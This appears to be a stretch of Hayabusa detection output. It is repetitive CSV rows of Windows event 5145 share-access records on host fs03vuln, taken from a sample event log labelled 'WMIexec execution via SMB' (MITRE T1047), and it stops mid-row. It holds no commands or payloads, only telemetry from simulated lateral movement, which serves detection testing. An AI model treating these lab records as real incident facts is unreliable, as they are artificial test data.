+09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V4381984f#\1a33211365967c012f504ade4abce1ed : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.032 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Vb0a86591# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.032 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Vb0a86591#\f21bca07e5816f88c1107f51e64caa60 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.048 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Vf4833439# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.048 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Vf4833439#\fb6f372260a08811a4ca7666c60e31e8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.048 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.VisualC : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.048 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.VisualC\8dd5d48acfdc4ce750166ebe36623926 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.048 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W0bb5dac4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.048 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W0bb5dac4#\eff9f99a173bfe23d56129e79f85e220 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.063 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W2bac6884# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.063 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W2bac6884#\98fa0075b3677ec2d6a5e980c8c194e2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.081 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W2d29a719# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.081 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W2d29a719#\b04af69b54fb462c4c632d0f508d617b : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.081 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W2d6979e4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.081 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W2d6979e4#\b77a61cdfca8e3f67916586b89eb6df5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.097 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W2ded559f# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.097 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W2ded559f#\2cbdedd1fc5676a39a1fb1b534f48d02 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.097 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W3cdb5602# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.113 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W3cdb5602#\e3e82e97635cdd0d33dd1fb39ffe5b5f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.113 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W6c95e797# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.113 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W6c95e797#\4bdb448dffd981eb795d0efeaf81aee9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.113 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W6dcfceb1# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.128 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W6dcfceb1#\bbfc6bc472afc457c523dc2738248629 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.128 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W7b7c0837# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.128 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W7b7c0837#\294124bd4523f5af19788c4942aeba5e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.128 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W9e7db7c5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.128 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W9e7db7c5#\e9ab45e2a1806140421e99300db14933 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.144 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W9e8926d3# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.144 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W9e8926d3#\278d9be2765837ed33460677146f35e8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.144 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W15cd0137# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.144 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W15cd0137#\82f3f76602a3738000b03df08a71ffe8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.144 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W37d1a032# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.144 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W37d1a032#\d3293b74965baef61a05323c7ec98d92 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.160 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W39c436dd# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.160 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W39c436dd#\711dbd144f8f71a864ea8493a3877bc5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.160 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W69ef49d2# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.160 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W69ef49d2#\28242ebb69175640e01f44f44845482c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.191 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W71daf281# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.207 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W71daf281#\be26a3df8bcf20be912896fba8462d2f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.207 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W81a3882f# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.207 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W81a3882f#\84ae811d9df57eca1c9728263a6e6aff : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.207 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.207 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.207 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Default\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.207 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.207 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.207 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.222 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W708fc392# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.222 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W708fc392#\4f9e41de8acf7fe60bc43242811fbabd : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.222 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W5052cbb1# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.222 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W5052cbb1#\960951a3fe97e1a2bd2d09ced71ce4f3 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.222 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W57798b05# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.222 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W57798b05#\2145d62276d37b22799a8deb8d44b210 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.238 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W73044bb5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.238 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W73044bb5#\fb97af1f4b1eed42372eea20ba746a53 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.238 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W193497eb# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.238 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W193497eb#\a26561bad24a68eb0217aa9d9fdad386 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.238 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W08054466# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.238 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W08054466#\50e266485611719e095733dd021e3a42 : IP Address: 